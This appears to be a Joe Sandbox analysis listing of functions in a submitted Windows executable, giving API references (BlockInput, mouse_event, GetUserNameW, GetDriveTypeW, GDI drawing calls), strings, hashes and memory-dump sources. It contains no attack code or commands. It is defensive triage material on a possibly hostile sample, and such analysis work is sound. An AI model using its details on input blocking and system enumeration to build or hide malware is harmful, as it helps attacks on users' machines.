Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction Fuzzy Hash: 2AF0B46691C5D0DAE3209F11E44176AB7A0F79874DF405115FB8947B54CB3EC109AF04

Function 00007FF73A260A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00007FF73A260A26

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction ID: 7522aa14ca64b71b9b695e03a8d7d0079ce7757adba6dc4cd1ce01bb77a8c085
Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction Fuzzy Hash: CFE0653671820296FB48AB61E08267DE2A0AB98BC4F549074DA0D87355DF7CD890A710

Function 00007FF73A24D158 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF73A24D195

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 6674be8b64349246c9dd3b232f8eab8a138cd1fe159d5217082064005974ec36
Instruction ID: 5704054986b603f709d2558f520f0183796b0d48c26f13a1927984d99ab129b2
Opcode Fuzzy Hash: 6674be8b64349246c9dd3b232f8eab8a138cd1fe159d5217082064005974ec36
Instruction Fuzzy Hash: E3E09A6EE4816276F3683A38452BB348752ABE1300ED203B0EA0D02AE4CD0DA605F620

Function 00007FF73A232BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF73A232BE4

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction ID: e05d96de321edf8571fa38c90e65719f33e1c1862be086354e7234e3f5d9c3e7
Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction Fuzzy Hash: DAC01275614652E9F760DF20D8845DC3330FB1075CFC04021E60E5E4A89F788248D300

Function 00007FF73A1FC130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF73A1FC2E7

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: e098cdc613cabc111f97000e4f31441facfec826d2885c721da2d20f7da9efe3
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: F2817F29A1A18362FB64AA55704A17EE3B4EF81744FD41771DF0E87685CF2DE806F360

Function 00007FF73A1FBEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF73A1FC04E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: c7a30bff42cc2902b2dd7283a345dcec34e2c05f8932ec2a1867529db9b61487
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: FF712D2DA0E6C36AFB64AA14704627ED3B09F41744F9407B1DF08CB6D5CE2DE846BB21

Function 00007FF73A20A8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FF73A20A8DC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction ID: 14a608b08495d0a2144086fcfc843e3ddc9d4c15694df4a18cddf83fb95ee8a5
Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction Fuzzy Hash: F041C436714B489AFA04DF2AD5152A9B7A1F78CFD4B8AA036DE0D87754DE3CD445E300

Function 00007FF73A1E58D0 Relevance: .7, Instructions: 692COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction ID: 612b7e70c5d61d10099bf6c826e3e7ea91340d80fae2962dce17858641cfd383
Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
Instruction Fuzzy Hash: 5A52D53AE0C642A3FA24EB10E056A7CA375EF65B94F9945B1DA1E076C5CF3CE440E360

Function 00007FF73A1DB390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 35c80bf2167e1adf3206c92da48ca8911fbd9c742f77449b7ac1ea58a5065b47
Instruction ID: e4de52e7f81b35c1a0483c1478bbb860f8fc4fcdd57113be81f26c7d426179a9
Opcode Fuzzy Hash: 35c80bf2167e1adf3206c92da48ca8911fbd9c742f77449b7ac1ea58a5065b47
Instruction Fuzzy Hash: 1952D17AB09642A9FB10EF65E4412BD73B2EB84B98F804271DE1E577C9DE38E405E350

Function 00007FF73A1DB9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba15eac96ed8fc0baf8485493d847c633669c4d8f9813435fd29586b96ba1c43
Instruction ID: adc0c4a17353d6a9b770c8d7925afd495a7c3dd2b04de0ae21d78aa1f6e3140d
Opcode Fuzzy Hash: ba15eac96ed8fc0baf8485493d847c633669c4d8f9813435fd29586b96ba1c43
Instruction Fuzzy Hash: 7E42A03AA08782A6FB10EB25E4821BDB7B0FB84798F904175DE5D47B95DF38E441E710

Function 00007FF73A2030DC Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction ID: f66ff79ea5091b99ffa0c3ce6f9535086e41173207ca59180bd9cd3d7ab6a619
Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction Fuzzy Hash: 99426725D29E5AA4F253EB35A413535A72CBFD63C0F818377F81EB6A61DF2CA4427210

Function 00007FF73A216DE4 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction ID: 8dfd510bdeed2bae0fba9f04394835b5ae5cfe434c7e54b77faa8d320d67f1a4
Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
Instruction Fuzzy Hash: 9E712D2AE0C75356F734AA298C42B3CE2C1AFC0360F9446B4E65E47AC5DE7DE840B720

Function 00007FF73A251A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: ec1f18e026821ca8bdbddad7849cf3bf3dcf59dc297d55a0a2118897b18f2296
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 3521D177A2414196FB0DDF75D853AA973A5B3A4708F48C17AD52B83684CE3CE904E790

Function 00007FF73A20FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: cc1ca8a52e1d9493f37223d812746616f188c38e516da8c7d645a5f013802c2f
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: 9AF04475B282559BEB94DF6CA4436397790E74C380B908079D58983E44DA3CD091AF14

Function 00007FF73A1F59C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: 68833f8ba28b692bdf482c0950604b931fa4d7bd649c87d2f44fb3ac2e581a1e
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: 0FA0022D90FC53F8F608AB00F862030A335FB90320BD205B2E14D815659F3CA480F720

Function 00007FF73A27E95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF73A27E9C4
SetTextColor.GDI32 ref: 00007FF73A27E9CF
GetSysColorBrush.USER32 ref: 00007FF73A27E9E8
GetSysColor.USER32 ref: 00007FF73A27E9FA
SetBkColor.GDI32 ref: 00007FF73A27EA1B
SelectObject.GDI32 ref: 00007FF73A27EA2A
InflateRect.USER32 ref: 00007FF73A27EA4F
GetSysColor.USER32 ref: 00007FF73A27EA5A
CreateSolidBrush.GDI32(?,?,?,?,?,00000000,?,?,?,?,?,00007FF73A28120A,?,?,?,00007FF73A21AA77), ref: 00007FF73A27EA62
FrameRect.USER32 ref: 00007FF73A27EA75
DeleteObject.GDI32 ref: 00007FF73A27EA7E
InflateRect.USER32 ref: 00007FF73A27EAD3
FillRect.USER32 ref: 00007FF73A27EB03
GetWindowLongW.USER32 ref: 00007FF73A27EB22
SendMessageW.USER32 ref: 00007FF73A27EB6F

Part of subcall function 00007FF73A27ECB4: GetSysColor.USER32 ref: 00007FF73A27ECFB
Part of subcall function 00007FF73A27ECB4: SetTextColor.GDI32 ref: 00007FF73A27ED06
Part of subcall function 00007FF73A27ECB4: GetSysColorBrush.USER32 ref: 00007FF73A27ED21
Part of subcall function 00007FF73A27ECB4: GetSysColor.USER32 ref: 00007FF73A27ED34
Part of subcall function 00007FF73A27ECB4: GetSysColor.USER32 ref: 00007FF73A27ED5F
Part of subcall function 00007FF73A27ECB4: CreatePen.GDI32 ref: 00007FF73A27ED76
Part of subcall function 00007FF73A27ECB4: SelectObject.GDI32 ref: 00007FF73A27ED87
Part of subcall function 00007FF73A27ECB4: SetBkColor.GDI32 ref: 00007FF73A27ED97
Part of subcall function 00007FF73A27ECB4: SelectObject.GDI32 ref: 00007FF73A27EDAA
Part of subcall function 00007FF73A27ECB4: InflateRect.USER32 ref: 00007FF73A27EDD1
Part of subcall function 00007FF73A27ECB4: RoundRect.GDI32 ref: 00007FF73A27EDFD
Part of subcall function 00007FF73A27ECB4: GetWindowLongW.USER32 ref: 00007FF73A27EE0B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
Instruction ID: 40a37f868a898b752471634a2d5a60b48dd6962f3af09e3eaa8a1f612db0ad34
Opcode Fuzzy Hash: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
Instruction Fuzzy Hash: 2EA1D53AF04A029AFB14AB61D88657C6761BBC8B64F904334DE2E53BD5DF3C9544B360

Function 00007FF73A254F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF73A254F61
GetDriveTypeW.KERNEL32 ref: 00007FF73A2550BE
SetErrorMode.KERNEL32 ref: 00007FF73A2552A3

Strings

Fixed, xrefs: 00007FF73A255111
RAMDisk, xrefs: 00007FF73A2550ED
RAID, xrefs: 00007FF73A255202
SSA, xrefs: 00007FF73A2551D2
Network, xrefs: 00007FF73A255105
ATA, xrefs: 00007FF73A2551E7
Virtual, xrefs: 00007FF73A255231
MMC, xrefs: 00007FF73A25523A
SSD, xrefs: 00007FF73A25515D
iSCSI, xrefs: 00007FF73A25525E
SCSI, xrefs: 00007FF73A2551F9
CDROM, xrefs: 00007FF73A2550F9
ATAPI, xrefs: 00007FF73A2551F0
FileBackedVirtual, xrefs: 00007FF73A255228
SATA, xrefs: 00007FF73A25524C
SAS, xrefs: 00007FF73A255255
PhysicalDrive, xrefs: 00007FF73A254FF5
Fibre, xrefs: 00007FF73A2551C6
Removable, xrefs: 00007FF73A25511D
Unknown, xrefs: 00007FF73A2550E1
USB, xrefs: 00007FF73A2551BA
\\.\, xrefs: 00007FF73A254FAE
1394, xrefs: 00007FF73A2551DE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: b77a1df8e0786f3ae6df23b49277aad935363f16f1a357679b0fc8cc9e6328f5
Instruction ID: e864da3a396e678572a17faaa1f4e4baf0b0f0b34c7dbabf8a3ffdee67d1bc6c
Opcode Fuzzy Hash: b77a1df8e0786f3ae6df23b49277aad935363f16f1a357679b0fc8cc9e6328f5
Instruction Fuzzy Hash: B2B1A3AAB0CA03B8FE54FB15D5421B8E7A1BBC0794BD441B5D90E47699EF2CE944B320

Function 00007FF73A27ECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF73A27ECFB
SetTextColor.GDI32 ref: 00007FF73A27ED06
GetSysColorBrush.USER32 ref: 00007FF73A27ED21
GetSysColor.USER32 ref: 00007FF73A27ED34
CreateSolidBrush.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A27E98C), ref: 00007FF73A27ED3E
GetSysColor.USER32 ref: 00007FF73A27ED5F
CreatePen.GDI32 ref: 00007FF73A27ED76
SelectObject.GDI32 ref: 00007FF73A27ED87
SetBkColor.GDI32 ref: 00007FF73A27ED97
SelectObject.GDI32 ref: 00007FF73A27EDAA
InflateRect.USER32 ref: 00007FF73A27EDD1
RoundRect.GDI32 ref: 00007FF73A27EDFD
GetWindowLongW.USER32 ref: 00007FF73A27EE0B
SendMessageW.USER32 ref: 00007FF73A27EE58
GetWindowTextW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A27E98C), ref: 00007FF73A27EE90
InflateRect.USER32 ref: 00007FF73A27EEB3
DrawFocusRect.USER32 ref: 00007FF73A27EEC1
GetSysColor.USER32 ref: 00007FF73A27EED0
SetTextColor.GDI32 ref: 00007FF73A27EEDB
DrawTextW.USER32 ref: 00007FF73A27EEF9
SelectObject.GDI32 ref: 00007FF73A27EF17
DeleteObject.GDI32 ref: 00007FF73A27EF25
SelectObject.GDI32 ref: 00007FF73A27EF33
DeleteObject.GDI32 ref: 00007FF73A27EF3E
SetTextColor.GDI32 ref: 00007FF73A27EF4A
SetBkColor.GDI32 ref: 00007FF73A27EF5A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
Instruction ID: f1d30e41be2ff7b83c8034ee2e3e762c032e9a09fe73538199cc5a203b0a15cb
Opcode Fuzzy Hash: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
Instruction Fuzzy Hash: 6C71933AA08A4196F724EB11E88567AB365FBC9BB0F804374ED5E83B94DF3CD444A710

